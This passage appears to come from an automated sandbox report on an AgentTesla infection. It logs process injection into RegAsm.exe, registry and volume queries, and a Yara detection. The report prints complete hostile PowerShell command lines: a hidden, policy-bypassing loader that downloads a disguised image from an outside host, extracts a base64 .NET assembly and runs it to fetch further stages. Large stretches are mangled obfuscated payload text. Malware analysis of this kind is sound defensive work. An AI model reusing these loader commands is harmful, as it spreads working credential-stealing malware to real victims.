? ?Z? ? ? ? ?Bp? ? ? ? ?G4? ? ? ? ?ZwBd? ? ? ? ?Do? ? ? ? ?OgBV? ? ? ? ?FQ? ? ? ? ?Rg? ? ? ? ?4? ? ? ? ?C4? ? ? ? ?RwBl? ? ? ? ?HQ? ? ? ? ?UwB0? ? ? ? ?HI? ? ? ? ?aQBu? ? ? ? ?Gc? ? ? ? ?K? ? ? ? ?? ? ? ? ?k? ? ? ? ?Gk? ? ? ? ?bQBh? ? ? ? ?Gc? ? ? ? ?ZQBC? ? ? ? ?Hk? ? ? ? ?d? ? ? ? ?Bl? ? ? ? ?HM? ? ? ? ?KQ? ? ? ? ?7? ? ? ? ?CQ? ? ? ? ?cwB0? ? ? ? ?GE? ? ? ? ?cgB0? ? ? ? ?EY? ? ? ? ?b? ? ? ? ?Bh? ? ? ? ?Gc? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?Jw? ? ? ? ?8? ? ? ? ?Dw? ? ? ? ?QgBB? ? ? ? ?FM? ? ? ? ?RQ? ? ? ? ?2? ? ? ? ?DQ? ? ? ? ?XwBT? ? ? ? ?FQ? ? ? ? ?QQBS? ? ? ? ?FQ? ? ? ? ?Pg? ? ? ? ?+? ? ? ? ?Cc? ? ? ? ?Ow? ? ? ? ?k? ? ? ? ?GU? ? ? ? ?bgBk? ? ? ? ?EY? ? ? ? ?b? ? ? ? ?Bh? ? ? ? ?Gc? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?Jw? ? ? ? ?8? ? ? ? ?Dw? ? ? ? ?QgBB?
                      Injects a PE file into a foreign processes
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5AJump to behavior
                      Writes to foreign memory regions
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 402000Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 440000Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 442000Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: D51008Jump to behavior
                      Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J? ? ? ? ?Bp? ? ? ? ?G0? ? ? ? ?YQBn? ? ? ? ?GU? ? ? ? ?VQBy? ? ? ? ?Gw? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?JwBo? ? ? ? ?HQ? ? ? ? ?d? ? ? ? ?Bw? ? ? ? ?HM? ? ? ? ?Og? ? ? ? ?v? ? ? ? ?C8? ? ? ? ?aQBh? ? ? ? ?DY? ? ? ? ?M? ? ? ? ?? ? ? ? ?x? ? ? ? ?DY? ? ? ? ?M? ? ? ? ?? ? ? ? ?2? ? ? ? ?C4? ? ? ? ?dQBz? ? ? ? ?C4? ? ? ? ?YQBy? ? ? ? ?GM? ? ? ? ?a? ? ? ? ?Bp? ? ? ? ?HY? ? ? ? ?ZQ? ? ? ? ?u? ? ? ? ?G8? ? ? ? ?cgBn? ? ? ? ?C8? ? ? ? ?MQ? ? ? ? ?w? ? ? ? ?C8? ? ? ? ?aQB0? ? ? ? ?GU? ? ? ? ?bQBz? ? ? ? ?C8? ? ? ? ?Z? ? ? ? ?Bl? ? ? ? ?GE? ? ? ? ?d? ? ? ? ?Bo? ? ? ? ?G4? ? ? ? ?bwB0? ? ? ? ?GU? ? ? ? ?Xw? ? ? ? ?y? ? ? ? ?D? ? ? ? ?? ? ? ? ?Mg? ? ? ? ?0? ? ? ? ?D? ? ? ? ?? ? ? ? ?Nw? ? ? ? ?v? ? ? ? ?GQ? ? ? ? ?ZQBh? ? ? ? ?HQ? ? ? ? ?a? ? ? ? ?Bu? ? ? ? ?G8? ? ? ? ?d? ? ? ? ?Bl? ? ? ? ?C4? ? ? ? ?agBw? ? ? ? ?Gc? ? ? ? ?Jw? ? ? ? ?7? ? ? ? ?CQ? ? ? ? ?dwBl? ? ? ? ?GI? ? ? ? ?QwBs? ? ? ? ?Gk? ? ? ? ?ZQBu? ? ? ? ?HQ? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?TgBl? ? ? ? ?Hc? ? ? ? ?LQBP? ? ? ? ?GI? ? ? ? ?agBl? ? ? ? ?GM? ? ? ? ?d? ? ? ? ?? ? ? ? ?g? ? ? ? ?FM? ? ? ? ?eQBz? ? ? ? ?HQ? ? ? ? ?ZQBt? ? ? ? ?C4? ? ? ? ?TgBl? ? ? ? ?HQ? ? ? ? ?LgBX? ? ? ? ?GU? ? ? ? ?YgBD? ? ? ? ?Gw? ? ? ? ?aQBl? ? ? ? ?G4? ? ? ? ?d? ? ? ? ?? ? ? ? ?7? ? ? ? ?CQ? ? ? ? ?aQBt? ? ? ? ?GE? ? ? ? ?ZwBl? ? ? ? ?EI? ? ? ? ?eQB0? ? ? ? ?GU? ? ? ? ?cw? ? ? ? ?g? ? ? ? ?D0? ? ? ? ?I? ? ? ? ?? ? ? ? ?k? ? ? ? ?Hc? ? ? ? ?ZQBi? ? ? ? ?EM? ? ? ? ?b? ? ? ? ?Bp? ? ? ? ?GU? ? ? ? ?bgB0? ? ? ? ?C4? ? ? ? ?R? ? ? ? ?Bv? ? ? ? ?Hc? ? ? ? ?bgBs? ? ? ? ?G8? ? ? ? ?YQBk? ? ? ? ?EQ? ? ? ? ?YQB0? ? ? ? ?GE? ? ? ? ?K? ? ? ? ?? ? ? ? ?k? ? ? ? ?Gk? ? ? ? ?bQBh? ? ? ? ?Gc? ? ? ? ?ZQBV? ? ? ? ?HI? ? ? ? ?b? ? ? ? ?? ? ? ? ?p? ? ? ? ?Ds? ? ? ? ?J? ? ? ? ?Bp? ? ? ? ?G0? ? ? ? ?YQBn? ? ? ? ?GU? ? ? ? ?V? ? ? ? ?Bl? ? ? ? ?Hg? ? ? ? ?d? ? ? ? ?? ? ? ? ?g? ? ? ? ?D0? ? ? ? ?I? ? ? ? ?Bb? ? ? ? ?FM? ? ? ? ?eQBz? ? ? ? ?HQ? ? ? ? ?ZQBt? ? ? ? ?C4? ? ? ? ?V? ? ? ? ?Bl? ? ? ? ?Hg? ? ? ? ?d? ? ? ? ?? ? ? ? ?u? ? ? ? ?EU? ? ? ? ?bgBj? ? ? ? ?G8? ? ? ? ?Z? ? ? ? ?Bp? ? ? ? ?G4? ? ? ? ?ZwBd? ? ? ? ?Do? ? ? ? ?OgBV? ? ? ? ?FQ? ? ? ? ?Rg? ? ? ? ?4? ? ? ? ?C4? ? ? ? ?RwBl? ? ? ? ?HQ? ? ? ? ?UwB0? ? ? ? ?HI? ? ? ? ?aQBu? ? ? ? ?Gc? ? ? ? ?K? ? ? ? ?? ? ? ? ?k? ? ? ? ?Gk? ? ? ? ?bQBh? ? ? ? ?Gc? ? ? ? ?ZQBC? ? ? ? ?Hk? ? ? ? ?d? ? ? ? ?Bl? ? ? ? ?HM? ? ? ? ?KQ? ? ? ? ?7? ? ? ? ?CQ? ? ? ? ?cwB0? ? ? ? ?GE? ? ? ? ?cgB0? ? ? ? ?EY? ? ? ? ?b? ? ? ? ?Bh? ? ? ? ?Gc? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?Jw? ? ? ? ?8? ? ? ? ?Dw? ? ? ? ?QgBB? ? ? ? ?FM? ? ? ? ?RQ? ? ? ? ?2? ? ? ? ?DQ? ? ? ? ?XwBT? ? ? ? ?FQ? ? ? ? ?QQBS? ? ? ? ?FQ? ? ? ? ?Pg? ? ? ? ?+? ? ? ? ?Cc? ? ? ? ?Ow? ? ? ? ?k? ? ? ? ?GU? ? ? ? ?bgBk? ? ? ? ?EY? ? ? ? ?b? ? ? ? ?Bh? ? ? ? ?Gc? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?Jw? ? ? ? ?8? ? ? ? ?Dw? ? ? ? ?QgBB? Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://ia601606.us.archive.org/10/items/deathnote_202407/deathnote.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('dnlib.IO.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.NGRO/gol/moc.onapnape//:sptth' , '1' , 'C:\ProgramData\' , 'atrophiante','RegAsm','desativado'))"Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C copy *.js "C:\ProgramData\atrophiante.js"Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"Jump to behavior
                      Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'j? ? ? ? ?bp? ? ? ? ?g0? ? ? ? ?yqbn? ? ? ? ?gu? ? ? ? ?vqby? ? ? ? ?gw? ? ? ? ?i? ? ? ? ?? ? ? ? ?9? ? ? ? ?c? ? ? ? ?? ? ? ? ?jwbo? ? ? ? ?hq? ? ? ? ?d? ? ? ? ?bw? ? ? ? ?hm? ? ? ? ?og? ? ? ? ?v? ? ? ? ?c8? ? ? ? ?aqbh? ? ? ? ?dy? ? ? ? ?m? ? ? ? ?? ? ? ? ?x? ? ? ? ?dy? ? ? ? ?m? ? ? ? ?? ? ? ? ?2? ? ? ? ?c4? ? ? ? ?dqbz? ? ? ? ?c4? ? ? ? ?yqby? ? ? ? ?gm? ? ? ? ?a? ? ? ? ?bp? ? ? ? ?hy? ? ? ? ?zq? ? ? ? ?u? ? ? ? ?g8? ? ? ? ?cgbn? ? ? ? ?c8? ? ? ? ?mq? ? ? ? ?w? ? ? ? ?c8? ? ? ? ?aqb0? ? ? ? ?gu? ? ? ? ?bqbz? ? ? ? ?c8? ? ? ? ?z? ? ? ? ?bl? ? ? ? ?ge? ? ? ? ?d? ? ? ? ?bo? ? ? ? ?g4? ? ? ? ?bwb0? ? ? ? ?gu? ? ? ? ?xw? ? ? ? ?y? ? ? ? ?d? ? ? ? ?? ? ? ? ?mg? ? ? ? ?0? ? ? ? ?d? ? ? ? ?? ? ? ? ?nw? ? ? ? ?v? ? ? ? ?gq? ? ? ? ?zqbh? ? ? ? ?hq? ? ? ? ?a? ? ? ? ?bu? ? ? ? ?g8? ? ? ? ?d? ? ? ? ?bl? ? ? ? ?c4? ? ? ? ?agbw? ? ? ? ?gc? ? ? ? ?jw? ? ? ? ?7? ? ? ? ?cq? ? ? ? ?dwbl? ? ? ? ?gi? ? ? ? ?qwbs? ? ? ? ?gk? ? ? ? ?zqbu? ? ? ? ?hq? ? ? ? ?i? ? ? ? ?? ? ? ? ?9? ? ? ? ?c? ? ? ? ?? ? ? ? ?tgbl? ? ? ? ?hc? ? ? ? ?lqbp? ? ? ? ?gi? ? ? ? ?agbl? ? ? ? ?gm? ? ? ? ?d? ? ? ? ?? ? ? ? ?g? ? ? ? ?fm? ? ? ? ?eqbz? ? ? ? ?hq? ? ? ? ?zqbt? ? ? ? ?c4? ? ? ? ?tgbl? ? ? ? ?hq? ? ? ? ?lgbx? ? ? ? ?gu? ? ? ? ?ygbd? ? ? ? ?gw? ? ? ? ?aqbl? ? ? ? ?g4? ? ? ? ?d? ? ? ? ?? ? ? ? ?7? ? ? ? ?cq? ? ? ? ?aqbt? ? ? ? ?ge? ? ? ? ?zwbl? ? ? ? ?ei? ? ? ? ?eqb0? ? ? ? ?gu? ? ? ? ?cw? ? ? ? ?g? ? ? ? ?d0? ? ? ? ?i? ? ? ? ?? ? ? ? ?k? ? ? ? ?hc? ? ? ? ?zqbi? ? ? ? ?em? ? ? ? ?b? ? ? ? ?bp? ? ? ? ?gu? ? ? ? ?bgb0? ? ? ? ?c4? ? ? ? ?r? ? ? ? ?bv? ? ? ? ?hc? ? ? ? ?bgbs? ? ? ? ?g8? ? ? ? ?yqbk? ? ? ? ?eq? ? ? ? ?yqb0? ? ? ? ?ge? ? ? ? ?k? ? ? ? ?? ? ? ? ?k? ? ? ? ?gk? ? ? ? ?bqbh? ? ? ? ?gc? ? ? ? ?zqbv? ? ? ? ?hi? ? ? ? ?b? ? ? ? ?? ? ? ? ?p? ? ? ? ?ds? ? ? ? ?j? ? ? ? ?bp? ? ? ? ?g0? ? ? ? ?yqbn? ? ? ? ?gu? ? ? ? ?v? ? ? ? ?bl? ? ? ? ?hg? ? ? ? ?d? ? ? ? ?? ? ? ? ?g? ? ? ? ?d0? ? ? ? ?i? ? ? ? ?bb? ? ? ? ?fm? ? ? ? ?eqbz? ? ? ? ?hq? ? ? ? ?zqbt? ? ? ? ?c4? ? ? ? ?v? ? ? ? ?bl? ? ? ? ?hg? ? ? ? ?d? ? ? ? ?? ? ? ? ?u? ? ? ? ?eu? ? ? ? ?bgbj? ? ? ? ?g8? ? ? ? ?z? ? ? ? ?bp? ? ? ? ?g4? ? ? ? ?zwbd? ? ? ? ?do? ? ? ? ?ogbv? ? ? ? ?fq? ? ? ? ?rg? ? ? ? ?4? ? ? ? ?c4? ? ? ? ?rwbl? ? ? ? ?hq? ? ? ? ?uwb0? ? ? ? ?hi? ? ? ? ?aqbu? ? ? ? ?gc? ? ? ? ?k? ? ? ? ?? ? ? ? ?k? ? ? ? ?gk? ? ? ? ?bqbh? ? ? ? ?gc? ? ? ? ?zqbc? ? ? ? ?hk? ? ? ? ?d? ? ? ? ?bl? ? ? ? ?hm? ? ? ? ?kq? ? ? ? ?7? ? ? ? ?cq? ? ? ? ?cwb0? ? ? ? ?ge? ? ? ? ?cgb0? ? ? ? ?ey? ? ? ? ?b? ? ? ? ?bh? ? ? ? ?gc? ? ? ? ?i? ? ? ? ?? ? ? ? ?9? ? ? ? ?c? ? ? ? ?? ? ? ? ?jw? ? ? ? ?8? ? ? ? ?dw? ? ? ? ?qgbb? ? ? ? ?fm? ? ? ? ?rq? ? ? ? ?2? ? ? ? ?dq? ? ? ? ?xwbt? ? ? ? ?fq? ? ? ? ?qqbs? ? ? ? ?fq? ? ? ? ?pg? ? ? ? ?+? ? ? ? ?cc? ? ? ? ?ow? ? ? ? ?k? ? ? ? ?gu? ? ? ? ?bgbk? ? ? ? ?ey? ? ? ? ?b? ? ? ? ?bh? ? ? ? ?gc? ? ? ? ?i? ? ? ? ?? ? ? ? ?9? ? ? ? ?c? ? ? ? ?? ? ? ? ?jw? ? ? ? ?8? ? ? ? ?dw? ? ? ? ?qgbb?
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "$imageurl = 'https://ia601606.us.archive.org/10/items/deathnote_202407/deathnote.jpg';$webclient = new-object system.net.webclient;$imagebytes = $webclient.downloaddata($imageurl);$imagetext = [system.text.encoding]::utf8.getstring($imagebytes);$startflag = '<<base64_start>>';$endflag = '<<base64_end>>';$startindex = $imagetext.indexof($startflag);$endindex = $imagetext.indexof($endflag);$startindex -ge 0 -and $endindex -gt $startindex;$startindex += $startflag.length;$base64length = $endindex - $startindex;$base64command = $imagetext.substring($startindex, $base64length);$commandbytes = [system.convert]::frombase64string($base64command);$loadedassembly = [system.reflection.assembly]::load($commandbytes);$type = $loadedassembly.gettype('dnlib.io.home');$method = $type.getmethod('vai').invoke($null, [object[]] ('txt.ngro/gol/moc.onapnape//:sptth' , '1' , 'c:\programdata\' , 'atrophiante','regasm','desativado'))"
                      Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'j? ? ? ? ?bp? ? ? ? ?g0? ? ? ? ?yqbn? ? ? ? ?gu? ? ? ? ?vqby? ? ? ? ?gw? ? ? ? ?i? ? ? ? ?? ? ? ? ?9? ? ? ? ?c? ? ? ? ?? ? ? ? ?jwbo? ? ? ? ?hq? ? ? ? ?d? ? ? ? ?bw? ? ? ? ?hm? ? ? ? ?og? ? ? ? ?v? ? ? ? ?c8? ? ? ? ?aqbh? ? ? ? ?dy? ? ? ? ?m? ? ? ? ?? ? ? ? ?x? ? ? ? ?dy? ? ? ? ?m? ? ? ? ?? ? ? ? ?2? ? ? ? ?c4? ? ? ? ?dqbz? ? ? ? ?c4? ? ? ? ?yqby? ? ? ? ?gm? ? ? ? ?a? ? ? ? ?bp? ? ? ? ?hy? ? ? ? ?zq? ? ? ? ?u? ? ? ? ?g8? ? ? ? ?cgbn? ? ? ? ?c8? ? ? ? ?mq? ? ? ? ?w? ? ? ? ?c8? ? ? ? ?aqb0? ? ? ? ?gu? ? ? ? ?bqbz? ? ? ? ?c8? ? ? ? ?z? ? ? ? ?bl? ? ? ? ?ge? ? ? ? ?d? ? ? ? ?bo? ? ? ? ?g4? ? ? ? ?bwb0? ? ? ? ?gu? ? ? ? ?xw? ? ? ? ?y? ? ? ? ?d? ? ? ? ?? ? ? ? ?mg? ? ? ? ?0? ? ? ? ?d? ? ? ? ?? ? ? ? ?nw? ? ? ? ?v? ? ? ? ?gq? ? ? ? ?zqbh? ? ? ? ?hq? ? ? ? ?a? ? ? ? ?bu? ? ? ? ?g8? ? ? ? ?d? ? ? ? ?bl? ? ? ? ?c4? ? ? ? ?agbw? ? ? ? ?gc? ? ? ? ?jw? ? ? ? ?7? ? ? ? ?cq? ? ? ? ?dwbl? ? ? ? ?gi? ? ? ? ?qwbs? ? ? ? ?gk? ? ? ? ?zqbu? ? ? ? ?hq? ? ? ? ?i? ? ? ? ?? ? ? ? ?9? ? ? ? ?c? ? ? ? ?? ? ? ? ?tgbl? ? ? ? ?hc? ? ? ? ?lqbp? ? ? ? ?gi? ? ? ? ?agbl? ? ? ? ?gm? ? ? ? ?d? ? ? ? ?? ? ? ? ?g? ? ? ? ?fm? ? ? ? ?eqbz? ? ? ? ?hq? ? ? ? ?zqbt? ? ? ? ?c4? ? ? ? ?tgbl? ? ? ? ?hq? ? ? ? ?lgbx? ? ? ? ?gu? ? ? ? ?ygbd? ? ? ? ?gw? ? ? ? ?aqbl? ? ? ? ?g4? ? ? ? ?d? ? ? ? ?? ? ? ? ?7? ? ? ? ?cq? ? ? ? ?aqbt? ? ? ? ?ge? ? ? ? ?zwbl? ? ? ? ?ei? ? ? ? ?eqb0? ? ? ? ?gu? ? ? ? ?cw? ? ? ? ?g? ? ? ? ?d0? ? ? ? ?i? ? ? ? ?? ? ? ? ?k? ? ? ? ?hc? ? ? ? ?zqbi? ? ? ? ?em? ? ? ? ?b? ? ? ? ?bp? ? ? ? ?gu? ? ? ? ?bgb0? ? ? ? ?c4? ? ? ? ?r? ? ? ? ?bv? ? ? ? ?hc? ? ? ? ?bgbs? ? ? ? ?g8? ? ? ? ?yqbk? ? ? ? ?eq? ? ? ? ?yqb0? ? ? ? ?ge? ? ? ? ?k? ? ? ? ?? ? ? ? ?k? ? ? ? ?gk? ? ? ? ?bqbh? ? ? ? ?gc? ? ? ? ?zqbv? ? ? ? ?hi? ? ? ? ?b? ? ? ? ?? ? ? ? ?p? ? ? ? ?ds? ? ? ? ?j? ? ? ? ?bp? ? ? ? ?g0? ? ? ? ?yqbn? ? ? ? ?gu? ? ? ? ?v? ? ? ? ?bl? ? ? ? ?hg? ? ? ? ?d? ? ? ? ?? ? ? ? ?g? ? ? ? ?d0? ? ? ? ?i? ? ? ? ?bb? ? ? ? ?fm? ? ? ? ?eqbz? ? ? ? ?hq? ? ? ? ?zqbt? ? ? ? ?c4? ? ? ? ?v? ? ? ? ?bl? ? ? ? ?hg? ? ? ? ?d? ? ? ? ?? ? ? ? ?u? ? ? ? ?eu? ? ? ? ?bgbj? ? ? ? ?g8? ? ? ? ?z? ? ? ? ?bp? ? ? ? ?g4? ? ? ? ?zwbd? ? ? ? ?do? ? ? ? ?ogbv? ? ? ? ?fq? ? ? ? ?rg? ? ? ? ?4? ? ? ? ?c4? ? ? ? ?rwbl? ? ? ? ?hq? ? ? ? ?uwb0? ? ? ? ?hi? ? ? ? ?aqbu? ? ? ? ?gc? ? ? ? ?k? ? ? ? ?? ? ? ? ?k? ? ? ? ?gk? ? ? ? ?bqbh? ? ? ? ?gc? ? ? ? ?zqbc? ? ? ? ?hk? ? ? ? ?d? ? ? ? ?bl? ? ? ? ?hm? ? ? ? ?kq? ? ? ? ?7? ? ? ? ?cq? ? ? ? ?cwb0? ? ? ? ?ge? ? ? ? ?cgb0? ? ? ? ?ey? ? ? ? ?b? ? ? ? ?bh? ? ? ? ?gc? ? ? ? ?i? ? ? ? ?? ? ? ? ?9? ? ? ? ?c? ? ? ? ?? ? ? ? ?jw? ? ? ? ?8? ? ? ? ?dw? ? ? ? ?qgbb? ? ? ? ?fm? ? ? ? ?rq? ? ? ? ?2? ? ? ? ?dq? ? ? ? ?xwbt? ? ? ? ?fq? ? ? ? ?qqbs? ? ? ? ?fq? ? ? ? ?pg? ? ? ? ?+? ? ? ? ?cc? ? ? ? ?ow? ? ? ? ?k? ? ? ? ?gu? ? ? ? ?bgbk? ? ? ? ?ey? ? ? ? ?b? ? ? ? ?bh? ? ? ? ?gc? ? ? ? ?i? ? ? ? ?? ? ? ? ?9? ? ? ? ?c? ? ? ? ?? ? ? ? ?jw? ? ? ? ?8? ? ? ? ?dw? ? ? ? ?qgbb? Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "$imageurl = 'https://ia601606.us.archive.org/10/items/deathnote_202407/deathnote.jpg';$webclient = new-object system.net.webclient;$imagebytes = $webclient.downloaddata($imageurl);$imagetext = [system.text.encoding]::utf8.getstring($imagebytes);$startflag = '<<base64_start>>';$endflag = '<<base64_end>>';$startindex = $imagetext.indexof($startflag);$endindex = $imagetext.indexof($endflag);$startindex -ge 0 -and $endindex -gt $startindex;$startindex += $startflag.length;$base64length = $endindex - $startindex;$base64command = $imagetext.substring($startindex, $base64length);$commandbytes = [system.convert]::frombase64string($base64command);$loadedassembly = [system.reflection.assembly]::load($commandbytes);$type = $loadedassembly.gettype('dnlib.io.home');$method = $type.getmethod('vai').invoke($null, [object[]] ('txt.ngro/gol/moc.onapnape//:sptth' , '1' , 'c:\programdata\' , 'atrophiante','regasm','desativado'))"Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeQueries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe VolumeInformationJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformationJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformationJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformationJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformationJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformationJump to behavior
                      Source: C:\Windows\System32\wscript.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior

                      Stealing of Sensitive Information

                      barindex
                      Yara detected AgentTesla
                      Source: Yara matchFile source: 7.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 4.2.powershell.exe.1a8e949b578.1.unpack, type: UNPACKEDPE
